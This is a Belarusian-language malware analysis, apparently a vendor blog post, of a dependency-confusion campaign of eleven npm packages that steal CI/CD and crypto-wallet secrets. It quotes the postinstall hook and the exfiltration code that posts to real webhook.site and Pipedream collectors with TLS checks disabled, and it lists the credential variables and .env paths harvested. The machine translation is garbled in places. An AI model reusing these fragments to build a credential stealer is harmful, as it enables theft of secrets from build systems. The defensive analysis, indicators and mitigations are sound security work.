Блытаніна з CryptoDAO: збор пакетаў npm CI/CD і крыпта-сакрэты

Блытаніна з CryptoDAO: адзінаццаць npm-пакетаў, адна карысная нагрузка, збор ураджаю CI/CD і сакрэты крыпта-кашалькоў

TL, д-р

17 чэрвеня 2026 года быў апублікаваны адзін уліковы запіс npm адзінаццаць пакетаў, якія маюць адну мэту і адну карысную інфармацыюДзесяць з іх нясуць cryptodao- прэфікс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); адзінаццаты — гэта абмежаваны @public-for-cdao/coreКожны з іх быў апублікаваны ў версіі 99.99.99 і адпраўляе ідэнтычны байту recon.js які працуе далей postinstall.

Назвы — гэта падказка. Яны чытаюцца як унутраныя будаўнічыя блокі прыватнага інструментарыя крыпта/DAO-праекта. Апублікаваныя ў публічным рэестры npm у штучна завышанай версіі, яны чакаюць зборкі. pipeline які настроены на вызначэнне гэтых імёнаў і які дасягае публічнага npm раней — або замест — прыватнага рэестра. Гэта блытаніна з залежнасцяміі карысная нагрузка настроена менавіта на тое месца, куды яна павінна прызямліцца: CI/CD бегуноў.

Калі postinstall пажары, recon.js збірае звесткі пра гаспадара, груба праглядае сорак зменных асяроддзя хмарных, неперарыўных і крыпта-кашалькоў, чытае любы .env файлы, якія ён можа знайсці, і перасылае сакрэтныя радкі даслоўна, а затым перадае пакет двум збіральнікам — webhook.site і канцавая кропка Pipedream — з адключанай праверкай сертыфіката TLS. Копія таксама запісана пад /tmp.

Цяжар: высокіПацярпелая экасістэма: НПМНа момант напісання гэтага артыкула ўсе адзінаццаць пакетаў былі даступныя.

Анатомія атакі

Механізм мае чатыры рухомыя часткі, і ніводная з іх не выглядае тонкай, калі вы ведаеце, паглядзіце на адзін пласт далей за назву пакета.

1. Інфляцыя версій як прынада для рэзалюцыі. Кожны пакет аб'яўляе версію 99.99.99Блытаніна з залежнасцямі ўзнікае, калі менеджар пакетаў запытвае унутраная назва, а таксама правярае публічны рэестр і выбірае найноўшую версію знаходзіць. npm выбірае па змаўчанні дыяпазон карэткі або падстаноўных знакаў найлепшая версія для кожнай настроенай крыніцы; калі абодва прыватныя рэестр і публічны адказ npm для аднаго і таго ж імя, перамагае большы нумар версіі. A 99.99.99 пераўзыходзіць па сутнасці любую рэальную ўнутраную версію праекта дасягнута, таму рэзальвер, які не прывязаны да прыватнай крыніцы, аддае перавагу публічны — і ў гэтым выпадку варожы — тэкст. Аператару не трэба ведаць рэальныя нумары версій мэты; выбар абсурднага максімуму гарантуе нічыю заўсёды прабівае сабе шлях.

2. Трыгер пасля ўсталёўкі. package.json падключае карысную нагрузку да ўстаноўкі жыццёвы цыкл:

{   "scripts": { "postinstall": "node recon.js" } }

Імпарт пакета не патрабуецца. Проста ўсталёўваецца — што з'яўляецца непераўзыдзеным кампанентам. pipeline аўтаматычна — запускаецца recon.js.

3. Шырокае сакрэтнае расследаванне. recon.js збірае масіў вынікаў паэтапна:

  • Кантэкст хаста: імя хаста, платформа і рэліз, архітэктура, імя карыстальніка, праца каталог.
  • Зменныя асяроддзя: яна паўтарае фіксаваны спіс з прыкладна сарака імёнаў і запісаў любыя, якія ўстаноўлены. Спіс паказальны — ён спалучае агульныя токены неперасягненай канфігурацыі (CI_JOB_TOKEN, CI_REGISTRY_PASSWORD, GITLAB_ACCESS_TOKEN) і воблака паўнамоцтвы (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) з сакрэтамі рэестра і кантэйнера (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) і кластар з выразным крыптаграфічным густам:  ПРЫВАТНЫ_КЛЮЧ, Мнемоніка, SEED_PHRASE, INFURA_API_KEY, КЛЮЧ_API_ALCHEMY, ETH_RPC, BSC_RPCЗапісаныя значэнні скарачаюцца да першых 50 сімвалаў.
  • .env файлы: ён праглядае спіс шляхоў — .env, ../.env, /праграма/.env, /app/backend/.env, /праграма/бот/.env, /галоўная/gitlab-runner/.env, /root/.env, і .вытворчасць/.распрацоўка варыянты — і для любога існуючага файла, гэта фільтруе змесціва па радках, якія адпавядаюць КЛЮЧ|САКРЭТ|ТОКЕН|ПАРОЛЬ|ПРЫВАТНЫ|МНЕМАНІЧНЫ і ўстаўляе гэтыя радкі **цалкам, без усячэння** ў вынікі.
  • Кантэкст хоста зборкі: у ім пералічаны першыя 20 запісаў /будуе/, /галоўная/gitlab-runner/зборкі/, /var/lib/gitlab-runner/, і /tmp/.

Спіс шляхоў і спіс зменных маюць перавагу ў дачыненні да запускаў GitLab, што паказвае карысная нагрузка непасрэдна на самастойную інфраструктуру неперасягненай інтэграцыі, а не на распрацоўшчыка ноўтбук. Групаванне спісу ўраджаю па катэгорыях робіць запланаваны вылов зразумелым:

Катэгорыі Дасягнутыя зменныя / шляхі
CI/CD ідэнтыфікацыя і разгортванне CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
Воблака AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Рэестр і кантэйнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Сховішчы дадзеных DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Крыпта / блокчэйн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Абмен паведамленнямі SLACK_TOKEN, DISCORD_TOKEN
На дыску .env сям'я + /home/gitlab-runner/.env, /root/.env, /app/**/.envспісы ў каталогу /builds/, /var/lib/gitlab-runner/

Крыптакластар — гэта тая частка, якая адрознівае гэта ад агульнага сакрэту CI. sweep: фразы-пачатковыя коды кашалька і ключы падпісання з'яўляюцца толькі ў асяроддзі a блокчэйн-праект, і яны непасрэдна адлюстроўваюцца на крыптадаа-/знак/кантрактаў найменне перавозчыкаў.

4. Падвойная эксфільтрацыя з адключанай праверкай. Сабраны масіў — гэта серыялізаваны і адпраўлены ў два пункты прызначэння:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

адхіліцьНесанкцыянаванае: false адключае праверкі сертыфікатаў TLS для выходных патокаў выклікі. Тыя ж дадзеныя выводзяцца на стандартны вывад (таму яны таксама трапляюць у журналы заданняў CI) і напісана /tmp/.npm_recon_ .jsonПамылкі глытаюцца ціха, таму няўдалая адпраўка не пакідае ніякіх слядоў у выніках усталёўкі, акрамя аднаго [разведка] усталяваны на лініі.

У адным з галоўных каментарыяў да файла гэта апісваецца як «блытаніна з залежнасцямі». «Карысная нагрузка разведкі». Скарачэнне значэнняў асяроддзя да 50 сімвалаў форма доказу канцэпцыі. Што перамяшчае яго міма маяка толькі прысутнасці, дык гэта .env апрацоўка: сакрэтныя лініі перасылаюцца цалкам, а адрасаты два працоўныя калектары, якія кантралююцца зламыснікамі, а не сцёк, які толькі падлічвае хіты.

Timeline

Шаблон публікацыі — гэта подпіс аднаго скрыптаванага push-запыту, а не адзінаццаці незалежныя загрузкі.

Час (UTC, 17.06.2026) падзея
03:24:58 cryptodao-bot@99.99.99 апублікаваны
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — варыянт з аб'ёмам, ~24 хвіліны пазней

Дзесяць пасылак былі адпраўлены на працягу 29 секунд, прыкладна па адной кожныя тры секунды. Аб'ём @public-for-cdao/core рушыла ўслед прыкладна праз 24 хвіліны — праз секунду пагадненне аб найменні для той жа мэты, у выпадку, калі праект-спажывец спасылаецца на унутраны ланцужок інструментаў у рамках вобласці бачнасці, а не пад голымі назвамі.

Паказчыкі кампрамісу

тып індыкатар
Калекцыянер hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Калекцыянер hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Усталяваць кручок postinstall: node recon.js
Перакінуты файл /tmp/.npm_recon_<timestamp>.json
Маркер бярвення [recon] <pkg>@<ver> installed on <hostname> (стандартны вывад у журналах CI)
Паводніцкія rejectUnauthorized: false пры выходным HTTPS падчас усталёўкі
карысная нагрузка recon.js, аднолькавы ва ўсіх адзінаццаці пакетах (адна агульная зборка)
версія 99.99.99 на кожнай упакоўцы
Пакеты cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (усе 99.99.99)
Выдавец aduljune / aduljune@proton.me (адрас электроннай пошты не правераны, няма спасылкі на рэпазітар зыходнага кода)

 Атрыбуцыя і назіраная паводзіны

Усё ў кластары сведчыць пра адну перавагу. Усе адзінаццаць пакетаў былі апублікаваныя. праз уліковы запіс npm адулджун (aduljune@proton.me, няправераны адрас без звязаны зыходны рэпазітар), на працягу 25-хвіліннага прамежку часу, адначасова 99.99.99 версія, дастаўка recon.js змесціва якіх ідэнтычнае пабайт у байт ва ўсіх пакет (MD5 супадае з адзінаццаццю вынятымі копіямі). Гэта адна карысная нагрузка штампаваны ў спісе імёнаў, а не незалежнае паўторнае выкарыстанне кода.

Спіс імёнаў вызначае мэту. крыптадао-* і cdao апісаць макет прыватнага модуля крыпта/DAO-праекта і спіс збору карыснай нагрузкі люстэркі, якія здагадваюцца: разам з агульнымі сакрэтамі неперасягненай інфраструктуры і воблачных тэхналогій, гэта спецыяльна цягнецца да ПРЫВАТНЫ_КЛЮЧ, Мнемоніка, SEED_PHRASEі Ethereum/BSC RPC і ключы пастаўшчыка. .env шляхі пошуку і спісы каталогаў працуюць на базе GitLab. канкрэтны. Назіральны эфект заключаецца ў тым, што любы pipeline падманам усталявалі іх імёны перасылалі б свае токены CI, воблачныя ключы і дадзеныя на дыску .env сакрэты — і, для блокчэйн-праект, матэрыялы яго кашалька — двум староннім калекцыянерам.

Мы не робім ніякіх заяваў адносна таго, хто кіруе гэтым рахункам або што яны планавалі з ім рабіць дадзеныя. Факты, якія маюць значэнне самі па сабе: назвы арыентаваны на пэўны тып унутраны ланцужок інструментаў, карысная нагрузка счытвае і перадае рэальныя сакрэтныя значэнні, а таксама інфраструктура працавала.

Уплыў, тэндэнцыі і рэкамендацыі абаронцам

Заблытанасць з залежнасцямі застаецца эфектыўным, бо выкарыстоўвае паводзіны рэзалютара, а не уразлівасць у любой упакоўцы. Носьбіт тут трывіяльны — адзінаццаць амаль пустых пакеты — але радыус выбуху — які заўгодна pipeline памылкова аддае перавагу публічнаму npm для ўнутранай назвы. Кантралёры CI — найгоршае месца для гэтага: яны трымаюць менавіта жэтоны і .env файлы, якія чытае гэтая карысная нагрузка, і яны ўсталёўваюцца залежнасці неінтэрактыўна, таму a пасля ўстаноўкі бегае, калі ніхто не глядзіць.

Гэты кластар таксама адпавядае шаблону, які мы пастаянна назіраем: карысныя нагрузкі падчас усталёўкі, якія прадстаўляюць як «даследаванне» або «разведка» падчас рэальнага збору паўнамоцтваў. Пазнака у файле не змяняе тое, што код робіць на бегуне. Захоўваюцца два варыянты дызайну ціхая актыўнасць: кожная аперацыя ў сетцы і файлавай сістэме абгорнута апрацоўшчык выключэнняў, які адкідае памылкі, напрыклад, заблакаваную адпраўку або адсутны файл не выдае ніякіх дыягнастычных вывадаў, і адзінае, што друкуецца, — гэта адзін бяскрыўдны [рэканструкцыя] … усталявана радок, які зліваецца са звычайнай размовай падчас усталёўкі. Выкарыстанне вэбхук.сайт і Pipedream таксама наўмысна зручны — абодва бясплатныя, імгненна прадастаўляюцца паслугі захопу запытаў, таму аператару не патрэбныя серверы свае ўласныя, а пункты прызначэння выглядаюць як звычайныя імёны хастоў SaaS у журналах выхаднога сігналу.

Эканамічныя фактары робяць гэта вартым увагі абаронцы, нягледзячы на ​​тое, што Код аператара — гэта проста. Рэгістрацыя адзінаццаці імёнаў нічога не каштуе, карысная нагрузка — адна файл капіюецца адзінаццаць разоў, і менеджар пакетаў выконвае ўсе дзеянні. Адзін няправільна настроены pipeline дзе заўгодна, хто спажывае адно з гэтых імёнаў, плаціць за ўсё аперацыя.

Канкрэтныя крокі для абаронцаў:

  • Замацуйце ўнутраныя вобласці дзеяння ў сваім прыватным рэестры. Наладзьце npm, каб выкарыстоўваць унутраныя імёны
     і вобласці дзеяння вырашаюцца толькі ў вашым рэестры (адлюстраванні рэестра .npmrc з абмежаванай вобласцю дзеяння,
    або проксі-сервер, які ніколі не падключаецца да публічнага npm для ўласных прастор імёнаў). Зарэзервуйце імёны вашых публічных абласцей дзеяння, каб ніхто іншы не мог іх зарэгістраваць.
  • Commit блакіроўкі файлаў і ўсталёўка з дапамогай –ignore-scripts у КІ дзе гэта магчыма, або праверыць невялікі набор залежнасцей, якія сапраўды патрабуюць усталёўкі скрыптоў.  recon.js не можа працаваць, калі пасля ўстаноўкі не выконваецца.
  • Апрацоўваць 99.99.99 (ці іншую абсурдна высокую) версію назвы, якая выглядае як унутраная як чырвоны сцяг пры праглядзе залежнасцей і маніторынгу рэестра.
  • Папярэджанне аб выхадзе падчас усталёўкі. A пасля ўстаноўкі які адкрывае выходны HTTPS-сервер падключэнне — асабліва з адключанай праверкай сертыфікатаў — да webhook.site, Pipedream або падобныя сэрвісы захопу запытаў варта блакаваць на мяжы сеткі і пазначаць іх у журналах зборкі.
  • Палюйце за артэфактамі. Праверце бегуноў на наяўнасць /tmp/.npm_recon_*.json і для [recon] … усталяваны на … маркер у апошніх журналах CI. Калі знойдзены, паварочваць кожны паўнамоцтвы, якія падвяргаюцца гэтаму pipeline — CI-токены, хмарныя ключы, токены рэестра і любыя насенне кашалькоў або прыватныя ключы, якія прысутнічаюць у асяроддзі або файлах .env.

Спасылкі

На момант напісання артыкула знешніх справаздач па гэтым кластары не існавала; аналіз вышэйпаказанае непасрэдна заснавана на апублікаваным змесце пакета

інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni